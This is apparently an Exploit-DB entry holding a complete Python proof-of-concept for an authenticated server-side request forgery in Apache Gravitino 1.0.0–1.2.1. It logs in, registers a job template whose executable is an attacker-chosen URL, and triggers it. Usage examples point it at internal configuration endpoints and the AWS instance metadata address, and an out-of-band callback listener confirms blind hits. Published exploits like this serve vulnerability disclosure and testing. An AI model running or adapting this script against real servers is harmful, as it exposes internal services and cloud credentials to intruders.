Apache Gravitino 1.2.1 - SSRF

EDB-ID:

52641

CVE:

N/A




Platform:

Multiple

Date:

2026-08-11


# Exploit Title: Apache Gravitino 1.2.1 - SSRF 
# Google Dork: N/A
# Date: 2026-07-13
# Exploit Author: Ajay Rajpurohit
# Vendor Homepage: https://gravitino.apache.org/
# Software Link: https://github.com/apache/gravitino
# Version: 1.0.0 - 1.2.1
# Tested on: Ubuntu 22.04 LTS
# CVE: CVE-2026-49876
#
# Description:
#   A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino
#   versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in
#   JobManager.java processes URIs from job template fields (executable, scripts,
#   jars, files, archives) without validating the destination. It accepts http,
#   https, and ftp schemes and downloads remote content to the server's staging
#   directory via FileUtils.copyURLToFile().
#
#   An authenticated attacker can:
#     • Register a job template with an internal/metadata URL as the executable
#     • Trigger a job run, forcing the server to fetch the URL
#     • Read the downloaded content from the staging directory (if accessible)
#     • Use OOB callbacks for blind SSRF detection
#
# References:
#   CVE Record:    https://nvd.nist.gov/vuln/detail/CVE-2026-49876
#   Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory
#   Fixing Commit:  https://github.com/apache/gravitino/commit/<commit-hash>
#
# --- Reproducibility ---
#
# Prerequisites:
#   1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090)
#   2. A valid Gravitino user account (any role with job template privileges)
#   3. Python 3.8+ with `requests` library (pip3 install requests)
#
# Setup (if testing locally):
#   wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz
#   tar xzf gravitino-1.2.0-bin.tar.gz
#   cd gravitino-1.2.0-bin
#   ./bin/gravitino.sh start
#
# Expected output:
#   [+] Authenticated as <user>
#   [+] Template 'ssrf-poc-xxxxxx' registered
#   [+] Job triggered — SSRF request sent to http://127.0.0.1:8090/configs
#   [+] SSRF confirmed — server fetched internal resource
#
# Usage:
#   # Direct SSRF — fetch internal config
#   python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin \
#       --url http://127.0.0.1:8090/configs
#
#   # Cloud metadata (AWS IMDSv1)
#   python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
#       --url http://169.254.169.254/latest/meta-data/
#
#   # Blind SSRF with OOB callback server
#   python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
#       --url http://<your-ip>:8888/callback --oob --oob-port 8888
#
# Requirements:
#   pip3 install requests
#

import argparse
import base64
import http.server
import json
import random
import socketserver
import string
import sys
import threading
import time
from datetime import datetime

try:
    import requests
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    print("[!] Missing dependency. Install: pip3 install requests")
    sys.exit(1)


# ─── OOB Callback Server (blind SSRF) ──────────────────────────────────────
class CallbackHandler(http.server.BaseHTTPRequestHandler):
    """Minimal HTTP handler that logs incoming requests for blind SSRF detection."""
    received = []

    def log_message(self, fmt, *args):
        return

    def _respond(self, method):
        body = b""
        cl = int(self.headers.get("Content-Length", 0))
        if cl > 0:
            body = self.rfile.read(min(cl, 4096))
        entry = {
            "time": datetime.now().isoformat(),
            "method": method,
            "path": self.path,
            "source": f"{self.client_address[0]}:{self.client_address[1]}",
            "user_agent": self.headers.get("User-Agent", ""),
        }
        CallbackHandler.received.append(entry)
        print(f"\n  [+] OOB CALLBACK: {method} {self.path} from {entry['source']}")
        print(f"      User-Agent: {entry['user_agent']}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

    do_GET     = lambda s: s._respond("GET")
    do_POST    = lambda s: s._respond("POST")
    do_HEAD    = lambda s: s._respond("HEAD")
    do_PUT     = lambda s: s._respond("PUT")
    do_OPTIONS = lambda s: s._respond("OPTIONS")


def start_oob_server(port: int) -> None:
    """Start a background HTTP server on the given port for OOB callbacks."""
    server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
    server.allow_reuse_address = True
    t = threading.Thread(target=server.serve_forever, daemon=True)
    t.start()


# ─── Gravitino REST Client ─────────────────────────────────────────────────
class Gravitino:
    """Minimal client for the Gravitino REST API — just enough for the PoC."""

    def __init__(self, base_url: str, username: str, password: str,
                 metalake: str = "metalake", verify: bool = False):
        self.base = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.metalake = metalake
        self.s = requests.Session()
        self.s.verify = verify

    def login(self) -> bool:
        """Authenticate via OAuth2 token endpoint; fall back to Basic auth."""
        # Try OAuth2
        try:
            r = self.s.post(
                f"{self.base}/oauth2/token",
                data={
                    "grant_type": "password",
                    "username": self.username,
                    "password": self.password,
                    "client_id": "gravitino_client",
                    "scope": "all",
                },
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                timeout=15,
            )
            if r.status_code == 200:
                token = r.json().get("access_token")
                if token:
                    self.s.headers["Authorization"] = f"Bearer {token}"
                    print(f"[+] Authenticated via OAuth2 token")
                    return True
        except Exception:
            pass

        # Fallback: Basic auth
        creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
        self.s.headers["Authorization"] = f"Basic {creds}"
        try:
            r = self.s.get(f"{self.base}/api/version", timeout=10)
            if r.status_code == 200:
                print(f"[+] Authenticated via Basic auth")
                return True
        except Exception:
            pass

        print("[!] Authentication failed. Provide valid credentials (-u / -p).")
        return False

    def ensure_metalake(self) -> bool:
        """Create the metalake if it doesn't exist."""
        try:
            r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10)
            if r.status_code == 200:
                return True
        except Exception:
            pass
        try:
            r = self.s.post(f"{self.base}/api/metalakes",
                            json={"name": self.metalake, "comment": "", "properties": {}},
                            timeout=10)
            if r.status_code in (200, 201, 409):
                return True
        except Exception:
            pass
        # Proceed anyway — metalake may already exist under a different name
        return True

    def trigger_ssrf(self, ssrf_url: str) -> bool:
        """Register a job template with the SSRF URL and trigger execution."""
        name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6))
        print(f"[*] Registering template '{name}' with URL: {ssrf_url}")

        # Step 1: Register template
        template = {
            "name": name,
            "jobType": "shell",
            "executable": ssrf_url,
            "arguments": [],
        }
        try:
            r = self.s.post(
                f"{self.base}/api/metalakes/{self.metalake}/jobs/templates",
                json={"jobTemplate": template},
                timeout=15,
            )
            if r.status_code not in (200, 201):
                print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}")
                return False
        except requests.RequestException as e:
            print(f"[!] Registration error: {e}")
            return False

        time.sleep(0.5)

        # Step 2: Trigger job run
        print(f"[*] Triggering job run...")
        try:
            r = self.s.post(
                f"{self.base}/api/metalakes/{self.metalake}/jobs/runs",
                json={"jobTemplateName": name},
                timeout=15,
            )
            try:
                body = r.json() if r.text else {}
            except ValueError:
                body = {}
            if r.status_code == 200 and body.get("code") == 0:
                print(f"[+] Job triggered — SSRF request sent")
                return True
            else:
                # Even on some errors, the SSRF may have fired
                print(f"[*] Response: {r.status_code} {r.text[:200]}")
                return r.status_code == 200
        except requests.RequestException as e:
            print(f"[!] Trigger error: {e}")
            return False


# ─── Main ──────────────────────────────────────────────────────────────────
def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-49876 — Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF",
        epilog="""
Examples:
  %(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs
  %(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/
  %(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888
        """,
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-t", "--target", required=True,
                        help="Gravitino server (e.g. http://127.0.0.1:8090)")
    parser.add_argument("-u", "--username", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")
    parser.add_argument("--url", required=True,
                        help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)")
    parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)")
    parser.add_argument("--oob", action="store_true",
                        help="Start OOB callback server for blind SSRF detection")
    parser.add_argument("--oob-port", type=int, default=8888,
                        help="Port for OOB callback server (default: 8888)")
    parser.add_argument("--oob-wait", type=int, default=15,
                        help="Seconds to wait for OOB callbacks (default: 15)")
    parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)")

    args = parser.parse_args()

    print(f"\n[*] CVE-2026-49876 — Apache Gravitino Authenticated SSRF")
    print(f"[*] Target: {args.target}")
    print(f"[*] SSRF URL: {args.url}\n")

    # Proxy
    if args.proxy:
        import os
        os.environ["HTTP_PROXY"] = args.proxy
        os.environ["HTTPS_PROXY"] = args.proxy

    # OOB callback server
    if args.oob:
        start_oob_server(args.oob_port)
        print(f"[*] OOB callback server listening on port {args.oob_port}")

    # Auth
    g = Gravitino(args.target, args.username, args.password, args.metalake)
    if not g.login():
        sys.exit(1)

    # Ensure metalake
    g.ensure_metalake()

    # Exploit
    success = g.trigger_ssrf(args.url)

    # Wait for OOB callbacks
    if args.oob:
        print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...")
        time.sleep(args.oob_wait)
        if CallbackHandler.received:
            print(f"\n[+] Received {len(CallbackHandler.received)} OOB callback(s) — SSRF confirmed")
            for cb in CallbackHandler.received:
                print(f"    {cb['method']} {cb['path']} from {cb['source']}")
        else:
            print(f"\n[-] No OOB callbacks received (server may not allow outbound HTTP)")

    # Summary
    print(f"\n{'='*50}")
    print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}")
    print(f"{'='*50}\n")
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()